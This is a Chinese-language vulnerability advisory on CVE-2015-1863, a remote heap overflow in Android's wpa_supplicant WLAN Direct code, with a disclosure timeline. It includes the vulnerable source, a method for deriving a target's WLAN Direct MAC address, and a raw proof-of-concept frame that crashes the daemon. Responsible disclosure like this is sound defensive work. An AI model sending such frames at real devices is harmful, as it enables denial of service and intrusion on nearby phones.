Android wpa_supplicant WLAN Direct remote buffer overflow

1.公告信息

公告编号:ALICLOUDSEC-VUL2015-001
发布时间:2015/4/23
最后更新时间:2015/4/23
2.漏洞信息

类别:堆溢出
影响:内存信息泄露和远程代码执行
远程利用:是
本地利用:否
CVE编号:CVE-2015-1863
漏洞公告及补丁地址:http://w1.fi/security/2015-1/
3.漏洞描述

android/linux的wpa_supplicant程序是一个负责wifi处理的守护程序。wpa_supplicant里在扫描WLAN直连设备时,存在着一个缓冲区溢出安全漏洞。如果受害者的android/linux设备或主机启用了WLAN直连许可。攻击者可以在受害者无线设备信号覆盖范围内发起远程攻击,获得受害者的android/linux设备或主机对应用户(在android下是wifi用户)的本地代码任意执行权限。该用户权限可以读取已经保存的WIFI密码、更改网络配置、劫持所有wifi流量。如果配合本地提权漏洞,可以让攻击者远程控制受害者的主机,植入系统底层木马等。
4.漏洞影响范围

Android 4/Android 5
wpa_supplicant 1.0-2.4
5.致谢

本漏洞由阿里云安全团队智能硬件安全研究小组发现

6.漏洞技术描述:

1)漏洞技术细节

wpa_supplicant在处理WLAN直连请求时,处理对方传过来的P2P SSID存在缓冲区溢出漏洞。wpa_supplicant会分配一个p2p_device的结构,其中用于保存P2P SSID名称的对象大小为0x20个字节。而在wifi请求报文里对应的结构表达中,连接请求中可以申明自己的P2P SSID的大小是用一个字节来表示的,最大可能是0xff个字节。而wpa_supplicant并没有对这个数据长度进行检测,而是直接用请求中申明的长度值来拷贝该名称到结构之上,如果该名称大于0x20字节,则会覆盖结构后面的对象(包含一些指针对象),大于0x40字节,则会直接覆盖后面堆头的结构。

对应的android最新的5.1版本,该漏洞相关的源代码如下:

===========预先分配的WIFI直连信息结构 (wpa_supplicant/p2p/p2p_i.h)============

struct p2p_device {

[……….]

int oper_freq;

u8 oper_ssid[32]; <-----固定分配的0x20大小 size_t oper_ssid_len; [……….] /** * go_neg_conf - GO Negotiation Confirmation frame */ struct wpabuf *go_neg_conf; int sd_pending_bcast_queries; }; ====触发漏洞的代码(wpa_supplicant/p2p/p2p.c的p2p_add_device函数)============== int p2p_add_device(struct p2p_data *p2p, const u8 *addr, int freq, struct os_reltime *rx_time, int level, const u8 *ies, size_t ies_len, int scan_res) { [……….] if (os_memcmp(addr, p2p_dev_addr, ETH_ALEN) != 0) os_memcpy(dev->interface_addr, addr, ETH_ALEN);

if (msg.ssid &&

(msg.ssid[1] != P2P_WILDCARD_SSID_LEN ||

os_memcmp(msg.ssid + 2, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN)

!= 0)) {

os_memcpy(dev->oper_ssid, msg.ssid + 2, msg.ssid[1]);

//拷贝0x20大小结构,但实际使用了数据中的一个字节作为长度参数,触发溢出

dev->oper_ssid_len = msg.ssid[1];

}

[……….]

7.漏洞危害评估:

1)影响性:目前几乎所有主流android版本的设备都受该漏洞影响。

2)默认性:一般情况下android系统需要进入WIFI直连界面才回启用WIFI直连许可,然而:

我们研究发现部分知名手机厂商的很多型号(如小米、华为的很多型号的手机),系统默认就开启了WLAN直连许可。用户即使从没有进入过WLAN直连界面,攻击者也能主动发起一个WLAN直连报文,就能触发该漏洞,而无须用户做出任何交互性操作。但需要注意的是,攻击需要使用对方设备的WLAN直连MAC地址,不过按照android的普遍实现,该地址是用户设备的MAC地址的首位进行异或计算出来的一个地址,用户设备的MAC地址通过嗅探WIFI报文可以轻易获取,从而可以推算出WLAN直连MAC地址,如用户设备MAC地址是14:12:34:56:78:90,则该设备的WLAN直连MAC地址是16:12:34:56:78:90,这意味着这部分型号的手机,只要开启了WIFI服务,任何时候都潜在可能遭受到该漏洞的远程攻击。

对于其他型号默认没有启用WLAN直连许可的设备,也需要注意,因为很多文件传输的软件都使用了WLAN直连功能而会将其打开。而该功能一旦被打开以后,即使用户退出了WLAN直连界面,该许可是持续生效的,直到设备重启之后,或者wifi重启后才会失效。攻击者在这段时间窗内,依旧可以靠计算出来的WLAN直连mac地址,触发该漏洞。

3)危害性

该漏洞可以导致内存信息泄露,利用泄露的信息可以绕过Android的ASLR保护,然后利用ROP绕过DEP,通过堆溢出利用技术可以远程执行代码。

虽然成功利用该漏洞,攻击者只能获得一个wifi用户的本地代码执行权。但是该用户权限却可以更改wifi的配置,实现对用户网络通讯的劫持。

另外,该漏洞是一个远程利用漏洞,如果配合一个本地提权漏洞,攻击者可以在无需物理接触用户设备的情形,对一个用户设备实现远程攻击植入木马并控制设备。

基于以上评估,该漏洞的危害等级是高危级。特别是针对那些默认开启了wifi直连许可的手机厂商。

8.验证POC与coredump信息

1)验证poc

针对打开了WLAN直连许可的设备,对其发送多次如下的wifi原始管理报文(需要替换成对应的受害者设备的WLAN直连MAC地址),可以很快的触发该漏洞,导致wpa_supplicant或其他实现此功能的程序的崩溃。

0xd0,0x00,0x3a,0x01,0xf2,0xf6,0x1c,0x55,0xba,0xa4,0x96,0xfa,0xb7,0x88,0x91,0x90,

0xf2,0xf6,0x1c,0x55,0xba,0xa4,0x40,0x82,

0x04,0x09,0x50,0x6f,0x9a,0x09,0x03,0x00,0x00,0x00,

0x00,0xf7,0x45,0x49,0x52,0x45,0x43,0x54,0x2d,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

2)下面是xiaomi手机的coredump日志

android版本:4.4.3

触发环境:系统重启后,从未进入WLAN直连界面,仅开启WIFI时触发

==========coredump log(not in WLAN DIRECT UI )=================================

Build: Xiaomi/cancro/cancro:4.4.4/KTU84P/5.3.27:user/release-keys

Hardware: MSM8974

Revision: 0

Bootloader: unknown

Radio: unknown

Kernel: Linux version 3.4.0-g7f72d41-01406-g4fa15b6 (builder@taishan) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Wed Mar 25 22:05:19 CST 2015

MemName: 016G94

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

Build fingerprint: ‘Xiaomi/cancro/cancro:4.4.4/KTU84P/5.3.27:user/release-keys’

Revision: ‘0’

pid: 1341, tid: 1341, name: wpa_supplicant >>> /system/bin/wpa_supplicant <<< signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad Abort message: 'invalid address or address of corrupt block 0x41414139 passed to dlfree' r0 00000000 r1 b6ec9002 r2 deadbaad r3 b6eccb7d r4 41414139 r5 b6ed7190 r6 b74c9000 r7 41414141 r8 b74f1684 r9 0000099e sl b74f28e4 fp bea25cc8 ip 00000001 sp bea25490 lr b6e9a843 pc b6e9a844 cpsr 600f0030 9.时间线 l 2015-4-3:发送漏洞报告给安卓安全团队 l 2015-4-8:安卓安全团队确认漏洞,将漏洞报告给wpa_supplicant开发者 l 2015-4-8:wpa_supplicant开发者确认收到漏洞信息 l 2015-4-13:wpa_supplicant开发者确认漏洞公告和补丁日期 l 2015-4-22:wpa_supplicant开发者发布漏洞公告和补丁 l 2015-4-23:本漏洞公告发布